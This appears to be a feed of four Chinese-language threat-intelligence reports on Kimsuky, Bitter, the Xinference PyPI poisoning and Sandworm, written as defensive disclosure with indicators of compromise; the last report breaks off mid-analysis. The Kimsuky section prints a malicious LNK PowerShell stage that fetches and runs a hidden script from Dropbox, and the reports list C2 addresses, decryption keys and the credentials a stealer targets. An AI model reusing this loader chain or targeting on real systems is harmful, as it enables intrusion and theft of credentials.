360威胁情报中心

APT-C-55（Kimsuky）组织依托GitHub+Dropbox分发恶意载荷的攻击活动分析

Wed, 13 May 2026 17:33:00 +0800

原创高级威胁研究院 2026-05-13 17:33 北京

一次看似 “正常下载” 的流程，背后是一条用 Dropbox → GitHub → PowerShell → .NET 反射串起来的分层投递链；前脚回传主机画像，后脚按需下发 AsyncRAT 插件。

APT-C-55

Kimsuky

APT-C-55（Kimsuky），又被称为BabyShark等，最早由Kaspersky在2013年公开披露。该组织长期针对朝鲜半岛目标国家的政府机构、外交部门、智库、媒体以及学术机构开展网络攻击活动，随后其攻击范围逐步扩大至包括北美洲、欧洲及其他地区的目标。Kimsuky组织主要以情报窃取为核心目的，持续通过鱼叉式网络钓鱼等方式获取敏感信息。

近年来，该组织在攻击手法上不断演进，常利用恶意文档（如HWP、Office宏文件）、脚本加载器、LNK文件以及多阶段载荷等方式进行入侵，并结合自研恶意工具与开源工具实施持久化控制。尽管其活动多次被安全厂商披露，但该组织依然保持较高活跃度，持续调整战术与技术手段，在隐蔽性和攻击链复杂度方面呈现不断增强的趋势。

一、攻击活动分析

1. 攻击流程分析

Kimsuky通过lnk文件发起钓鱼攻击。用户点击运行后，lnk文件携带的脚本会从自身解密出诱饵文件并打开，以此迷惑受害者，同时从Dropbox下载taskschd.vbs脚本执行恶意功能，该vbs继续从攻击者的Github仓库下载downloader脚本执行,downloader继续下载两个powershell脚本，功能分别是上传受害者电脑基本信息到攻击者仓库，同时创建计划任务执行taskschd.vbs，另一个ps1脚本下载加密数据并解密出AsyncRAT变体用于窃取敏感信息。

2. 载荷投递分析

本次捕获样本名为“중국 CMG 인터뷰.docx.lnk”(中国 CMG 访谈.docx.lnk)，具体信息如下：

MD5	ba8e682a72c6a3e634c070f0fb057bf5
文件大小	156 KB (159,744 字节)
文件名	중국 CMG 인터뷰.docx.lnk

受害者一旦点击运行“중국 CMG 인터뷰.docx.lnk”文件，便会通过PowerShell执行如下脚本:

$se='MJQye[D

$key=3;

for($i=0;$i -le $se.Length;$i++)

{

$v+=[System.Text.Encoding]::ASCII.GetString($se[$i]-3)

};

$b = [System.Convert]::FromBase64String($v);

$c = [System.Text.Encoding]::UTF8.GetString($b);

$c;

$sb = [scriptblock]::Create($c);

& $sb;

"&cd /d "%appdata%\Microsoft\MMC" & copy c:\windows\system32\curl.exe TMP0392.exe & TMP0392.exe -k -L -o taskschd.vbs "https://www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0"

&attrib +h taskschd.vbs &taskschd.vbs&exit

这段脚本主要有两个功能。第一个功能是打开伪装文档。具体是这样的：首先将硬编码的变量$se每个字符ASCII编码值减去3，然后进行Base64解码，最终执行得到UTF-8编码的下一阶段脚本，解码后的脚本如下。

$comp=0;

$shopping='length';

$sunday=Get-Location;

$notify=&(gcm *et-Child*) *.lnk; //查找lnk文件

$notify=$notify|where-object{$_.$shopping -eq 0x0260F8};//定位大小为0x0260F8的lnk文件

$monkey=$notify;

$notify=$notify|Select-Object -ExpandProperty Name;

if([string]::IsNullOrEmpty($notify))

{

$comp=1;

$sunday=$env:USERPROFILE;

$sunday=$sunday+'\appdata\local\temp';

$notify=Get-ChildItem -Path $sunday -Recurse -Filter *.lnk|where-object{$_.$shopping -eq 0x0260F8}|ForEach-Object{$_.FullName}|Select-Object -First 1;

$monkey=$notify

};//获取在%temp%目录定位此文件(大小为0x0260F8字节)

$oil=$notify.substring(0,$notify.length-4);

$wire=[System.IO.BinaryReader]::new([System.IO.File]::open($notify,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read)); //读取文件

try

{

$wire.BaseStream.Seek(0x00001B58,[System.IO.SeekOrigin]::Begin);

$snow=$wire.ReadBytes(0x06972);//从0x00001B58处读取0x06972大小的数据

}finally

{

$wire.Close()

};

$black=0;

$chair=0;

$body=$snow.count;

while ($black -lt $body)

{

$chipper=0x26;

$date=($chipper+$black%2)%0x100;

$snow[$black]=$snow[$black] -bxor $date;

$black++

};//xor解密载荷

[System.IO.File]::WriteAllBytes($oil,$snow);

if($comp -eq 1){

$book=$oil

这段代码的功能是在当前目录或者临时目录定位大小为0x0260F8字节（156KB）的LNK文件，也就是名为“중국 CMG 인터뷰.docx.lnk”的文件，然后从偏移量 0x00001B58处读取0x06972字节（约27KB）数据。最后使用XOR算法解密出诱饵文件并打开。诱饵文档如下：

第二个功能是拷贝curl.exe为TMP0392.exe，然后通过TMP0392.exe从远程地址“https[:]//www.dropbox.com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0”下载“taskschd.vbs”文件。最后将“taskschd.vbs”加隐藏属性后执行，以避免受害者发现。

3. 攻击组件分析

3.1. 脚本组件

“taskschd.vbs”是一个VBS脚本文件，信息如下：

MD5	d9d7d5feb2abc828b58142fc63509d80
文件大小	1.52 KB (1,562 字节)
文件名	taskschd.vbs

该脚本是一个被混淆之后的VBS脚本，攻击者通过Replace函数增加了大量的干扰分析的内容，经过去混淆之后，“taskschd.vbs”文件内容如下，该文件功能就是从“https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini”处下载目标文件，并保存“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”，然后WMI隐秘执行该bat脚本文件。

“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”是一个bat批处理文件，具体信息如下：

MD5	23da5ff2ed7bd4ac5a2a148afc037b6a
文件大小	499 字节 (499 字节)
文件名	a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat

“a2d3acd4-6456-4029-8503-6cc4267d9b.tmp.bat”文件的功能是分别从dropbox.com和github.com两个公共存储平台下载文件分别保存到“Eudksref.ps1”和“Eudksre.ps1”，然后通过PowerShell执行“Eudksre.ps1”文件。

“Eudksre.ps1”文件信息如下：

MD5	849ddfdba810b251522690d51475a359
文件大小	3.12 KB (3,199 字节)
文件名	Eudksre.ps1

“Eudksre.ps1”的主要功能是读取“https://raw.githubusercontent.com/shantez441/EDGTy/refs/heads/main/fox.png”内容，然后使用修改过的RC4解密算法解密“fox.png”文件内容，然后通过.Net反射加载的方式执行解密之后的.Net载荷。

Eudksref.ps1信息如下：

MD5	45b6b7dadc13e4a4cc30dd82eb58c3ed
文件大小	1.63 KB (1,677 字节)
文件名	Eudksref.ps1

“Eudksref.ps1”是一个PowerShell脚本，该脚本首先创建一个名为“GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-F706378A30E}”计划任务，用于持久化执行“taskschd.vbs”，然后会收集机器相关信息，包括系统信息，用户本地应用数据目录，进程列表，并将这些数据编码之后发送到Github平台进行保存。

3.2. PE 组件

“Eudksre.ps1”通过反射加载的方式执行一个.Net组件，该文件不落地，原始文件名为“rTom.exe”，经分析发现该文件为AsyncRAT变种木马。

MD5	0d8ceb7dea7d471afa2f8e753b13d2d6
文件大小	2.24 MB (2,355,200 字节)
文件名	rTom.exe
Timestamp	2026-03-17 08:21:28

当程序运行之后首先通过互斥避免多开。

在完成必要的socket初始化之后，连接C2服务器（112.216.9.171:3385）

随后恶意程序会采集受害主机的用户名、操作系统信息、木马程序自身版本、当前运行权限是否为管理员、前台活动窗口标题等多类设备与运行状态信息，完成信息汇总后主动回传至服务端。

然后恶意程序在接收到服务端返回的数据后，会调用回调函数clsiesockesdfwe.ReadServertData对返回内容进行处理，首先校验当前网络连接状态是否正常，确认无异常后再读取全部返回数据并暂存到缓冲区。

接着创建线程，调用Packet.Read函数进行处理，该函数是一个插件管理器，具有执行插件(plugin)和保存插件(savePlugin)的功能。

如果执行的是plugin功能，则首先判断本地是否保存有该插件，如果有该插件，便直接内存加载执行即可，如果没有该插件则先向服务端请求插件信息。

savePlugin功能的原理是将插件的Hash信息和二进制数据(以Hash为键名，以插件的字节数据为键值相对应)保存到注册表中。

攻击者前期采用分层投递的轻量化攻击战术，释放的恶意样本仅回传受害主机的基础环境与身份信息，后续可以根据回传的主机信息做定向筛选，仅针对符合预设攻击目标条件的受害主机，才会进一步下发各类专用功能插件开展深度信息搜集，这种按需加载的阶段化攻击设计，能够大幅压缩初始载荷的恶意特征面，最大程度避免攻击链路提前暴露。

二、攻击者仓库分析

通过下载链接https[:]//raw.githubusercontent.com/shantez4/EDGTy/refs/heads/main/hawek.ini，我们对攻击者github账号进行了分析，发现该账号于2026年1月份创建，随后在二月份创建项目仓库，并上传恶意代码。

在对仓库样本进行深入分析时发现，仓库内的PNG文件都是加密恶意载荷。这些文件均采用与前文一致的RC4密钥进行加密处理。对其解密后进一步分析表明，这些载荷均属于AsyncRAT家族，推测为基于AsyncRAT开源代码进行二次开发，具体表现在通信协议、配置结构及功能模块上进行了定制化修改，体现出攻击者在持续迭代其工具链的过程。

此外，在仓库中还发现攻击者的测试样本，这些样本很可能用于功能测试或开发调试阶段。

最后我们还发现部分受害者信息也已上传到github仓库，如下所示。

三、归属研判

经深度发现本次攻击方式和Kimsuky组织以往TTP存在较大关联，具体表现如下所示：

1.自我们披露Kimsuky组织利用GitHub作为载荷平台的攻击方式以来^[1]，该组织一直保留这种攻击方式。

2．本次利用.docx.lnk的文件作为攻击入口，同时lnk执行恶意载荷的文件名含有“setting.ini”等字符串，这和以往攻击方式类似。

3.lnk读取自身数据解密出诱饵文档以及使用powershell脚本执行C#程序的方式也和该组织以往利用方式符合，并且AsyncRAT变体在该组织之前的攻击活动中也被使用过^[^2]。

4.样本上传地为韩国地区，分析受害者信息我们发现和之前攻击行动存在相同受害者。

综上，我们较有把握将本轮攻击行动归属到APT-C-55（Kimsuky）组织。

总结

本次攻击中Kimsuky组织通过滥用合法平台作为通信与分发通道，下发恶意载荷并回传窃取数据，从而有效规避了传统基于特征与流量行为的网络检测与响应（NDR）机制。这类“以合法掩护恶意”的方式，使攻击流量在表面上与正常业务通信高度相似，大幅降低了被识别与拦截的概率。同时，攻击者采用插件化、模块化的木马架构，在初始入侵后可按需动态加载不同功能模块（如信息窃取、横向移动等），从而实现更隐蔽且灵活的攻击流程。

此外本文披露的相关恶意代码、C&C只是APT-C-55组织近期部分攻击过程中的所使用的载荷，该组织不会因为一次攻击行动的暴露而停止活动，反而会持续更新其载荷。在这里提醒用户加强安全意识，不要执行未知样本、点击来历不明的链接等，否则容易在毫无防范的情况下被攻陷，进而泄漏机密文件、重要情报。

附录 IOC

MD5:

ba8e682a72c6a3e634c070f0fb057bf5

bd17b8b10675031cec05c0cd8a001fac

0d8ceb7dea7d471afa2f8e753b13d2d6

d9d7d5feb2abc828b58142fc63509d80

e0e4aec6d494fe68cdaa52d6878a8366

b406ea5b8628cb7801f47c0189b96182

23da5ff2ed7bd4ac5a2a148afc037b6a

45b6b7dadc13e4a4cc30dd82eb58c3ed

73ff669fc282653bd6c42cf87ade9337

02ebc2356f9f700bbdac444cdefa0da2

849ddfdba810b251522690d51475a359

IOC:

https://www.dropbox[.]com/scl/fi/0m6mp6c53dnj6eird0kpd/setting.ini?rlkey=s5ef1qsa9krhxcqkn3cthrs7e&st=ip1rnvm2&dl=0

https://raw.githubusercontent[.]com/shantez41/EDGTy/refs/heads/main/hawek.ini

https://www.dropbox[.]com/scl/fi/q59g50jxsw5jjviup83tl/help.ini?rlkey=mu99taspiwvvuyuoy1fpf2232&st=kn296823&dl=1

https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/qdke.ini

https://raw.githubusercontent[.]com/shantez441/EDGTy/refs/heads/main/fox.png

112.216.9[.]171:3385

112.216.9[.]171:7707

参考链接：

[1] https://mp.weixin.qq.com/s/GzMoR8jKjelzuj5BPhpJYA

[2]https://jp.security.ntt/insights_resources/tech_blog/darkplum-asyncrat/

360高级威胁研究院

360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。

跳转微信打开

蔓灵花组织使用NUITKA打包的python样本进行投递

Wed, 29 Apr 2026 17:13:00 +0800

360威胁情报中心 2026-04-29 17:13 北京

近期360安全大脑监测到多起蔓灵花组织攻击事件，通过直接投递NUITKA打包的python样本，或投递chm文件加载NUITKA打包的python样本

APT-C-08

蔓灵花

APT-C-08（蔓灵花）组织（亦称 BITTER）是长期活跃于南亚方向、具备较强网络攻击能力的境外 APT 组织，自 2013 年起持续开展高级持续性威胁攻击活动。该组织攻击活动覆盖南亚及周边区域，长期针对政府部门、军工、国防、高校及涉外相关机构实施定向网络入侵。其攻击体系成熟，具备完善的武器库与攻击链路，是当前对区域网络安全具有持续高威胁的境外 APT 组织之一。

近期360安全大脑监测到多起蔓灵花组织攻击事件，通过直接投递NUITKA打包的python样本，或投递chm文件加载NUITKA打包的python样本。用户点击后，样本会下载后续后门组件。

一、攻击活动分析

1.攻击流程分析

蔓灵花组织此类攻击的核心初始载荷为NUITKA打包的python样本，该文件功能简单，下载一个后门组件。该后门组件主要功能是执行cmd指令。攻击者通过远程执行cmd指令，从而进行以下操作：获取系统基本信息、后续后门组件下载、下载python脚本执行套件、下载窃密组件等。整个攻击流程如下图所示：

2.恶意载荷分析

捕获的恶意样本如下所示：

MD5	397591dd098f9240684f9a999e38eb12
文件名称	delivery_of_the_aviation_technical_equipment.exe
文件大小	5.72 MB (5999104 bytes)
文件类型	exe

1）样本为NUITKA打包的文件。

2）打包的python版本为python312。NUITKA特征是会将组件释放到%TEMP%\onefile_XXXX_XXXXXXX文件夹中。

3）该样本核心功能是连接C2，获取C2命令执行。NUITKA打包python的逻辑，是将py脚本中每一行代码，都使用C语言进行实现。以这行代码为例“socket.socket(socket.AF_INET, socket.SOCK_STREAM)”（这也是relish_for_ketty的核心代码）：

首先是从模块列表中获取到socket的模块。

从socket模块中，获取socket类。

获取socket类中AddressFamily_type，等同于代码“socket.AF_INET”。

最后执行socket类的构造函数，创建一个socket对象。

4）样本连接C2：89.46.236.152:443。

本次NUITKA样本，需接收C2传来的cmd命令，才会执行才会进行后续操作。本次捕获到的C2命令分为五类：

第一类：获取系统信息

第二类：下载后续组件

捕获到url：

https://domainnamevalidator[.]com/uploads/taskhost

保存到c:\programdata\usoshared\taskhost.exe

第三类：样本复制

通过certutil来进行文件复制

第四类：配置计划任务、启动项、开始菜单快捷方式。

注：未捕获到样本

%LocalAppData%\\Microsoft\\WindowsApps\\MsEdge.exe

第五类：解压需要使用的组件，如：python

注：未捕获到myarchive.rar文件。

python.zip为正常的python安装包。安装包会保存到%userprofile%\downloads中。该python版本是312。

3.攻击组件分析

shell后门组件

该组件主要功能为执行C2传输的cmd指令。

MD5	23f5e51bf6d540553aa88c48480450a8
文件名称	taskhost.exe
文件大小	248.50 KB (254464 bytes)
文件类型	exe

1）样本判断互斥体，保证单独执行。

2）连接C2:213.111.185[.]78:443。

3）样本向C2发送上线包，上线包内容为：用户名@计算机名\n系统版本\n。

样本接收C2指令，执行cmd指令，并将对应结果传回C2。

捕获到攻击者命令有五类：

第一类：将taskhost.exe设置为计划任务和启动项

第二类：查看系统的信息

第三类：下载后门组件

url:

https://domainregistationcheck[.]com/uploads/b1

保存到c:\programdata\usoshared\crsrs.exe

第四类：静默安装python环境，并下载执行py脚本。python的运行环境会被安装到C:\\Python312中。

注：未捕获到对应python脚本

第五类：下载Remcos后门

url: http://46.30.191[.]221/pw.exe

样本被保存到

c:\programdata\usoshared\logs\imagingdevices.exe

文件窃密组件

该工具为文件窃密组件，主要功能是用于监测存储设备变更情况，并将存储设备的文件数据同步到C2服务器中。

MD5	d286d439393bde76b734bd3406628d47
文件名称	crsrs.exe
文件大小	39.5 KB (40448 bytes)
文件类型	exe

1）样本检查互斥体和第一个命令行参数。

2）样本采用异步的方式进行通信和执行任务。

3）样本连接C2:

https://151.236.4[.]164:5010/get_sync_hash_table/(AES加密的计算机名_用户名)

AES key：

8802304DE46385A3672730C3539BC25B38930077AE9D9FF46E05D63409DFBCBB

4）样本C2返回的数据为json格式，样本解析其中的file_hashes字段，获取其中的哈希列表

5）样本创建一个异步任务，用于从C2下载文件。样本首先会初始化一个计时器，定时器设为34秒。

样本下载文件，保存到当前的工作路径中。并执行。

6）样本执行一个异步任务，用于监测存储设备变更情况。判断存储设备（如：u盘、硬盘等）拔插行为。如果设备出现了数量变化，就暂停计时器。

7）样本通过连接C2，获取某类存储的同步优先级(如SSD、HDD）、获取特定存储的实际同步优先级(如：C盘)、获取关注的敏感词、获取传输任务数量。

之后就是启动计时器，根据C2传来的配置进行更新，将当前的任务队列进行更新。随后就进入到窃密工作。

样本根据任务队列配置的优先级，进行路径或磁盘扫描。

扫描过程中，会将含有关键词的文件加入到文件列表中。

根据文件列表中的数量，挨个进行文件异步传输。

读取目标文件的内容

将文件内容post到C2服务器中。

Remcos后门

该组件是一个加载器，用于释放加载Remcos后门。

MD5	017eb0e90e70a48e3b57f9c315e280f5
文件名称	imagingdevices.exe
文件大小	9.33 MB (9783680 bytes)
文件类型	exe

1）样本检测是否被调试，检测互斥体。

2）样本使用rc4进行解密，密钥：

wJhZdeKG30FY70E315U2qMf0h3CvBD7N

3）解密后数据为PE文件，其中有Remcos经典字符串。

4）Remcos的C2配置信息89.31.121[.]220:443

二、归属研判

蔓灵花使用NUITKA打包的python样本攻击，最早出现在25年年底，主要针对于巴基斯坦、孟加拉等周边国家。近期监测发现，该类样本的攻击目标范围出现新的变化。

1.对本次攻击的relish_for_ketty.dll，与巴基斯坦的历史样本进行对比，二者代码执行流程非常一致，均使用了python312版本，且加载使用的python模块也完全相同。

2.本次攻击使用的Remcos远控组件，也曾出现在过往针对巴基斯坦地区的攻击活动中。

综合上述线索可判断，本次攻击归属于APT-C-08（蔓灵花）组织。

总结

APT-C-08（蔓灵花）组织是一个拥有南亚地区国家民族背景的APT组织，近年来持续对南亚地区及周边国家实施网络攻击活动，攻击目标覆盖政府、军工、高校和驻外机构等企事业单位组织，是当前具有较高威胁度的境外APT组织之一。

在这里提醒用户加强安全意识，切勿执行未知样本或点击来历不明的链接等操作。这些行为可能导致系统在没有任何防范的情况下被攻陷，从而导致机密文件和重要情报的泄漏。

附录IOC

MD5：

397591dd098f9240684f9a999e38eb12

23f5e51bf6d540553aa88c48480450a8

d286d439393bde76b734bd3406628d47

ab17051365bb75c2fd4637b0d560a312

e7c535d2ef05405870923204dd5829d6

b33c8f6a2bebe8d6a41bff851a45f35f

13209c997f62c6c6934bc3f20a6adbd8

017eb0e90e70a48e3b57f9c315e280f5

C2&URL:

89.46.236[.]152:443

https://domainnamevalidator[.]com/uploads/taskhost

213.111.185[.]78:443

https://domainregistationcheck[.]com/uploads/b1

https://151.236.4[.]164:5010

getserviceupdates[.]com

http://46.30.191[.]221/host.txt

http://46.30.191[.]221/MsEdge

http://46.30.191[.]221/taskhost

http://46.30.191[.]221/appv1.exe

http://46.30.191[.]221/input.txt

http://46.30.191[.]221/ppersis.py

http://46.30.191[.]221/pw.exe

http://46.30.191[.]221:8080/get-pip.py

http://46.30.191[.]221/cf.py

http://46.30.191[.]221/ppp.py

89.31.121[.]220:443

360高级威胁研究院

跳转微信打开

Xinference 供应链安全事件调查与分析报告

Mon, 27 Apr 2026 15:08:00 +0800

高级威胁研究院 2026-04-27 15:08 北京

Xinference（Xorbits Inference）是一款流行的开源 AI 模型部署与服务框架，支持开发者通过极简命令快速部署大语言、语音及多模态模型。它对外提供兼容 OpenAI 的 API，并深度集成于Dify、LangChain 等主流 AI 生态工具链中。由于其核心用户多为掌握企业核心代码、高权限云凭证与高算力资源的 AI 研发人员，因此极易成为黑客实施软件供应链投毒的高价值目标。

2026年4月22日，Xinference 官方 PyPI 发布包被披露遭遇供应链投毒攻击。攻击者在 V2.6.0、V2.6.1 及V2.6.2 三个版本的核心初始化文件 `__init__.py` 中植入了窃密木马。

恶意样本中留有 "# hacked by teampcp" 文本标记，表面指向近期活跃于开源供应链攻击的 TeamPCP 组织，但该组织随后公开否认参与此次事件，存在假旗操作的可能性。目前归属研判尚未形成确定性结论，我们将持续跟踪关注。

攻击活动分析

2026年4月22日，Xinference 官方软件包被披露遭遇供应链投毒事件。攻击者将恶意载荷植入包内 __init__.py 文件，通过篡改初始化逻辑实现恶意代码随安装或导入过程被触发。随后，Xinference 项目开发人员在 GitHub Issues 回复中确认了该安全事件，进一步证实官方发布包在特定版本范围内已受到污染。

图1 Github中Issues回复示例

为进一步还原攻击活动时间线，我们对 xinference-2.6.0.tar.gz、xinference-2.6.1.tar.gz 与 xinference-2.6.2.tar.gz 三个受影响版本压缩包进行了取样分析，并提取了归档文件内相关文件的最近修改时间（mtime, UTC）。分析结果显示，攻击者最早在 2026年4月21日 20:08:49 UTC 已完成对恶意文件的植入。

表1 三个版本文件的最近修改时间

MD5	文件名	最后修改时间(mtime UTC)
971670c10eff28339a085ca50a600e35	xinference-2.6.0.tar.gz	2026-04-21 20:08:49 - 2026-04-21 20:10:51
9b3257e45b27a6bbe4e240e41a3a306f	xinference-2.6.1.tar.gz	2026-04-21 21:01:20 - 2026-04-21 21:03:30
484067fd6232f7cdd7b664b33857fc2c	xinference-2.6.2.tar.gz	2026-04-21 21:07:50 - 2026-04-21 21:10:00

此外，三个受影响版本中的恶意代码虽然使用相同的恶意编码载荷，但在植入位置与执行方式上存在显著差异，呈现出攻击者持续迭代优化的特征。

表2 三个版本植入恶意代码对比

对比维度	V2.6.0	V2.6.1	V2.6.2
植入位置	模块顶层作用域	_install() 函数内部	_install() 函数内部
执行方式	subprocess.Popen() 子进程异步执行	exec() 当前进程同步执行	subprocess.Popen() 子进程异步执行
隐蔽性	较低（顶层明文可见）	较高（嵌入合法函数体）	较高（嵌入合法函数体）

图2 xinference V2.6.0版本__init__.py文件恶意代码示例

图3 xinference V2.6.1版本__init__.py文件恶意代码示例

图4 xinference V2.6.2版本__init__.py文件恶意代码示例

对恶意载荷进行分析确认，该恶意采用了分阶段执行的方式：第一阶段负责载荷释放、结果打包与外传；第二阶段负责在受害主机中大范围搜集敏感信息与凭证材料。

第一阶段：

第一阶段脚本开头即包含明显的攻击者标记 “# hacked by teampcp”。其主要功能将内嵌BASE64内容解码，通过 subprocess.run() 调用当前 Python 解释器执行这段解码后的第二阶段脚本，标准输出被写入临时文件 f。如果收集到内容，就用 tar -czf 打包为 love.tar.gz。最后使用自定义头“X-QT-SR”，通过 curl 以二进制流上传到C2域名 https[:]//whereisitat[.]lucyatemysuperbox.space/。

图5 阶段1恶意代码示例

第二阶段：

第二阶段样本核心目标是批量搜集主机、容器、云凭证、密钥、配置、历史记录和区块链钱包材料。

主机与网络环境探测：收集主机名、当前路径、执行身份、内核、网卡、路由及全部环境变量，进行主机画像。
SSH 凭证与主机密钥窃取：获取用户 SSH 私钥、主机私钥和信任关系信息；

开发者与源码仓库凭证窃取：搜集了 .git-credentials 及各类包管理与依赖仓库的认证文件；
环境变量与 `.env` 配置搜集：获取数据库密码、应用密钥、JWT secret、第三方 API Token；
AWS 凭证搜集与云元数据打点：从本地凭证、容器角色凭证、实例角色凭证三条路径拿 AWS 访问权限；
Kubernetes 凭证与集群秘密搜集：获取集群访问令牌、命名空间 secrets、控制面配置；
GCP / Azure / Docker 凭证搜集：窃取云平台访问令牌与镜像仓库认证信息；
数据库、消息与系统侧敏感配置搜集：窃取数据库与基础设施认证数据；
VPN、IaC 与证书材料搜集：获取基础设施部署凭据、TLS 私钥与网络接入配置；
Webhook/Token 模式搜索：递归扫描并窃取目标系统中的 Slack/Discord Webhook 地址及硬编码的 API 密钥、访问令牌等敏感凭证；
加密货币钱包与节点密钥窃取：针对数字资产钱包、验证者节点和签名密钥；
系统账户与登录痕迹搜集：收集用户清单、密码哈希与登录成功记录。

图6 阶段2恶意代码示例

归属研判

在第一阶段样本中，攻击者留有明确的文本标记 "# hacked by teampcp"，从字面上看，该标记指向近期活跃于开源供应链攻击领域的 TeamPCP 组织。

图7 阶段1恶意代码文本标记

TeamPCP 是一个高级威胁组织，近期发起了一系列精心策划的供应链攻击。该组织通过攻陷 Trivy、KICS 和 LiteLLM 等主流开源工具，隐蔽植入了用于窃取凭证的恶意软件。为规避安全检测，他们综合采用了凭证收集、Kubernetes 环境内的横向移动以及音频隐写等复杂攻击技术。此外，该组织还具备极强的跨平台感染能力，能够利用窃取到的凭证，借助名为“CanisterWorm”的自传播蠕虫病毒，将攻击范围横向扩展至 npm 和 PyPI 等多个软件生态系统。在数据窃取阶段，他们使用了 AES-256 和 RSA-4096 高强度加密技术来向外传输敏感数据。

然而，此次事件的归属研判存在一定争议。2026年4月22日，TeamPCP 组织通过社交平台公开否认参与此次 Xinference 投毒事件，声称系他人冒用 TeamPCP 名义实施。

图8 TeamPCP否认此次攻击

结合历史样本进行横向对比，我们注意到在此前已确认由 TeamPCP 发起的 LiteLLM 和 Telnyx 供应链投毒事件中，恶意代码顶部并未出现类似的文字标记。这一差异点值得关注。

图9 LiteLLM 和 Telnyx事件中恶意代码示例

综合以上分析，目前尚无法仅凭代码中的文本标记将此次 Xinference 事件确定性归属于 TeamPCP 组织。该标记既可能是攻击者的真实署名，也可能是第三方蓄意嫁祸的假旗手段。我们将持续关注此事件的后续发展，并在获得更多关联证据后更新归属研判结论。

防范排查建议

如果您受到影响，请您：

立刻隔离受影响资产：对安装过受影响版本（2.6.0/2.6.1/2.6.2）的主机、容器、CI 节点执行网络隔离，优先阻断到可疑域名与外连通道。
紧急下线受污染版本：卸载受影响包并清理缓存镜像，禁止继续使用受影响版本。
强制轮换所有高价值凭证：包括云账号 AK/SK、K8s Token、仓库访问令牌、数据库口令、Webhook、VPN 与证书私钥。
检查 __init__.py 是否存在异常 Base64 长字符串、可疑执行链（如 exec()、subprocess.Popen()、subprocess.run()）。
搜索攻击者标记与阶段特征：# hacked by teampcp、X-QT-SR、whereisitat.lucyatemysuperbox[.]space。
查找可疑中间文件或压缩产物（例如 love.tar.gz、临时文件 f）。

附录 IOC

IOC	说明
whereisitat.lucyatemysuperbox[.]space	C2
971670c10eff28339a085ca50a600e35	xinference-2.6.0.tar.gz
9b3257e45b27a6bbe4e240e41a3a306f	xinference-2.6.1.tar.gz
484067fd6232f7cdd7b664b33857fc2c	xinference-2.6.2.tar.gz
8673c50ccff8e2acc8d3c31463c36490	xinference-2.6.0/xinference/__init__.py
67de6bf436257442e95efa9fab159e10	xinference-2.6.1/xinference/__init__.py
fe407adc7d14ab0ba6f415914fbf7959	xinference-2.6.2/xinference/__init__.py
630082e1b20c362963b9dda3bfffb2dc	stage1.py
0ab3ab613fd3a85a06ea769b0f4ffa5c	stage2.py

360高级威胁研究院

跳转微信打开

疑似APT-C-13（Sandworm）组织利用SSH+TOR隧道实现隐蔽持久化的攻击活动分析

Tue, 21 Apr 2026 17:47:00 +0800

原创高级威胁研究院 2026-04-21 17:47 北京

近期360高级威胁研究院捕获APT-C-13组织利用SSH与TOR嵌套隧道技术实施定向攻击的多个恶意样本，这些样本在受害机与攻击者之间搭建了一条双重加密的“匿名直梯”，从而让攻击者能够肆无忌惮的进行敏感信息窃取。

APT-C-13

Sandworm

APT-C-13（Sandworm）组织（又名FROZENBARENTS）是一个具有国家背景的高级持续性威胁组织，长期从事全球网络间谍活动。该组织以高度隐蔽性和战略针对性著称，主要针对政府机构、外交部门、能源企业及科研组织，旨在窃取政治、军事和科技情报。自2014年以来，该组织不断升级其活动，综合运营社会工程学、零日漏洞及多层代理网络（如TOR）实施定向渗透攻击，具备长期潜伏、精准打击与持续监控的典型特征。

一、概述

近期360高级威胁研究院捕获APT-C-13组织利用SSH与TOR嵌套隧道技术实施定向攻击的多个恶意样本，这些样本在受害机与攻击者之间搭建了一条双重加密的“匿名直梯”，从而让攻击者能够肆无忌惮的进行敏感信息窃取。鉴于这类攻击很少被披露，因此本文详细介绍整个攻击流程，希望相关企业和个人能够提高安全防范意识，采取有效措施保护企业资产和用户财产免受损失。

二、攻击活动分析

1.攻击流程分析

APT-C-13组织通过鱼叉邮件投递携带恶意LNK文件的ZIP压缩包，诱骗用户执行后，LNK文件会在用户配置文件目录及其子文件夹中递归搜索诱饵压缩包并多层解压至指定位置，随后运行主控脚本创建SSH与TOR两个计划任务以构建复杂通信链路。其中TOR任务利用HiddenServicePort特性将受害机本地关键服务端口（如SMB/445、RDP/3389）映射至Onion匿名域名，使攻击者无需穿透入站防火墙即可通过Tor节点全球直连内网；同时SSH任务在Tor隧道内部署轻量化SSH服务端，通过PubkeyAuthentication公钥认证和自定义Subsystem子系统配置，形成兼具强加密性与权限控制的隐蔽远程管理通道，有效规避传统流量审计。整个攻击流程如下所示。

2.载荷投递分析

近期我们捕获了该组织多个攻击样本，下面以其中一个ZIP压缩包进行分析。

MD5	2156c270ffe8e4b23b67efed191b9737
文件名称	Iskhod_7582_Predstavlenie_na_naznachenie.zip
文件大小	11.73 MB (12304687 bytes)

解压该恶意压缩包后，发现其中包含两个精心伪装的组件：一个是图标和文件名刻意模仿PDF文档的LNK快捷方式文件，另一个是设置了隐藏属性的虚假系统文件夹"$RECYCLE.BIN"，该目录通过属性伪装成Windows回收站系统目录以迷惑用户。

提取该LNK文件的命令行参数，如下所示。

